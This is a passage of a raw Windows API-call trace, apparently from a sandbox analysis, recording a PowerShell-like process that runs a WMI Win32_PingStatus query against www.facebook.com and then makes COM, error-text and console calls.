lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d44c*=0, plFlavor=0x228d450*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228d44c*=8, plFlavor=0x228d450*=64) returned 0x0 [0137.047] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.047] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0137.047] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0137.047] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.047] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="WriteDebugStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d688*=0, plFlavor=0x228d68c*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228d688*=0, plFlavor=0x228d68c*=0) returned 0x80041002 [0137.047] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0137.048] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c68688) returned 0x0 [0137.049] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0137.049] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c68688, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c687f8) returned 0x0 [0137.049] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x0 [0137.049] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687f8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c687f8) returned 0x0 [0137.049] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687f8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0137.049] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687f8) returned 0x3 [0137.049] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687f8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0137.049] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687f8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0137.049] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687f8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0137.049] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0137.049] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0137.049] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687f8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0137.050] WbemStatusCodeText:IUnknown:Release (This=0x5c687f8) returned 0x2 [0137.050] WbemStatusCodeText:IUnknown:Release (This=0x5c687f8) returned 0x1 [0137.050] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0137.050] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0137.050] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687f8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c687f8) returned 0x0 [0137.050] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687f8) returned 0x3 [0137.050] WbemStatusCodeText:IUnknown:Release (This=0x5c687f8) returned 0x2 [0137.050] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c687f8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0137.050] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.051] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.051] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.051] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.051] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.051] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0137.051] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0137.052] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0137.052] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0137.052] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.052] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.052] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.052] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.052] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.052] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.052] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.052] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.052] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.052] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.052] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.052] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.052] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.052] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.052] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.052] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.052] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.052] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.052] SysStringByteLen (bstr="__PATH") returned 0xc [0137.052] SysStringByteLen (bstr="__PATH") returned 0xc [0137.053] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228da68*=0, plFlavor=0x228da6c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228da68*=3, plFlavor=0x228da6c*=64) returned 0x0 [0137.053] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228da9c*=0, plFlavor=0x228daa0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228da9c*=8, plFlavor=0x228daa0*=64) returned 0x0 [0137.053] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.053] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.053] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228daf4*=0, plFlavor=0x228daf8*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228daf4*=8, plFlavor=0x228daf8*=64) returned 0x0 [0137.053] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228db1c*=0, plFlavor=0x228db20*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228db1c*=8, plFlavor=0x228db20*=64) returned 0x0 [0137.053] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.053] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.053] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228db74*=0, plFlavor=0x228db78*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228db74*=8, plFlavor=0x228db78*=64) returned 0x0 [0137.054] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.054] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.054] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228dd54*=0, plFlavor=0x228dd58*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228dd54*=3, plFlavor=0x228dd58*=64) returned 0x0 [0137.054] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228dd88*=0, plFlavor=0x228dd8c*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e18*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68688, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228dd88*=8200, plFlavor=0x228dd8c*=64) returned 0x0 [0137.054] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228ddbc*=0, plFlavor=0x228ddc0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228ddbc*=8, plFlavor=0x228ddc0*=64) returned 0x0 [0137.054] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.054] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.054] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228de08*=0, plFlavor=0x228de0c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228de08*=8, plFlavor=0x228de0c*=64) returned 0x0 [0137.055] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.055] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.055] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228de54*=0, plFlavor=0x228de58*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228de54*=8, plFlavor=0x228de58*=64) returned 0x0 [0137.055] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.055] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0137.055] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0137.055] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.055] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="WriteInformationStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228e09c*=0, plFlavor=0x228e0a0*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228e09c*=0, plFlavor=0x228e0a0*=0) returned 0x80041002 [0137.055] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0137.057] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c68688) returned 0x0 [0137.057] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0137.057] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c68688, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c68808) returned 0x0 [0137.057] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x0 [0137.057] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68808, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c68808) returned 0x0 [0137.057] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68808, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0137.058] WbemStatusCodeText:IUnknown:AddRef (This=0x5c68808) returned 0x3 [0137.058] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68808, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0137.058] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68808, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0137.058] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68808, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0137.058] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0137.058] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0137.058] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68808, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0137.058] WbemStatusCodeText:IUnknown:Release (This=0x5c68808) returned 0x2 [0137.058] WbemStatusCodeText:IUnknown:Release (This=0x5c68808) returned 0x1 [0137.058] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0137.058] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0137.058] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68808, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c68808) returned 0x0 [0137.058] WbemStatusCodeText:IUnknown:AddRef (This=0x5c68808) returned 0x3 [0137.058] WbemStatusCodeText:IUnknown:Release (This=0x5c68808) returned 0x2 [0137.058] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c68808, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0137.058] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.062] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572eccc | out: lpConsoleScreenBufferInfo=0x572eccc) returned 1 [0137.088] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572e3b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0137.089] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ecc4 | out: lpMode=0x572ecc4) returned 1 [0137.089] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572ecb8, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572ecb8*=0x2) returned 1 [0137.090] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572ec68 | out: lpConsoleScreenBufferInfo=0x572ec68) returned 1 [0137.094] GetConsoleOutputCP () returned 0x1b5 [0137.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eacc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eacc) returned 0 [0137.095] GetConsoleOutputCP () returned 0x1b5 [0137.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb54, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb54) returned 0 [0137.095] GetConsoleOutputCP () returned 0x1b5 [0137.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.095] GetConsoleOutputCP () returned 0x1b5 [0137.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.095] GetConsoleOutputCP () returned 0x1b5 [0137.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eacc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eacc) returned 0 [0137.096] GetConsoleOutputCP () returned 0x1b5 [0137.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb54, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb54) returned 0 [0137.096] GetConsoleOutputCP () returned 0x1b5 [0137.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.096] GetConsoleOutputCP () returned 0x1b5 [0137.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.096] GetConsoleOutputCP () returned 0x1b5 [0137.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eacc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eacc) returned 0 [0137.096] GetConsoleOutputCP () returned 0x1b5 [0137.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb54, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb54) returned 0 [0137.097] GetConsoleOutputCP () returned 0x1b5 [0137.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.097] GetConsoleOutputCP () returned 0x1b5 [0137.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.097] GetConsoleOutputCP () returned 0x1b5 [0137.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eacc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eacc) returned 0 [0137.097] GetConsoleOutputCP () returned 0x1b5 [0137.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb54, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb54) returned 0 [0137.097] GetConsoleOutputCP () returned 0x1b5 [0137.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.097] GetConsoleOutputCP () returned 0x1b5 [0137.098] 